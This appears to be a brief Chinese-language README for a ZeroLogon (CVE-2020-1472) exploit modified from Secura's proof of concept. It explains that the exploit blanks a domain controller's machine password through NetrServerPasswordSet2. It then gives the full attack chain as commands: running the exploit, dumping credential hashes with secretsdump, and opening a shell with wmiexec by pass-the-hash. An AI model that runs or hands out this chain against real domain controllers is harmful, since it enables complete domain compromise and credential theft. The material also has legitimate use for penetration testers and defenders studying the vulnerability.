ZeroLogon - 漏洞利用与示例

修改自 Secura 的测试 PoC（CVE-2020-1472），用于将机器密码置空。 更改机器密码使用了 Microsoft 的 NetrServerPasswordSet2() 函数。此漏洞利用借助 Impacket 的 nrpc.py 模块来调用 NetrServerPasswordSet2()。

运行漏洞利用

./zerologon_NULLPASS.py <dc-name> <dc-ip>

转储哈希

secretsdump.py -no-pass <dc-name>\$@<dc-ip>

通过哈希传递获取 Shell 访问

wmiexec.py -hashes <LM:NT> <username>@<ip>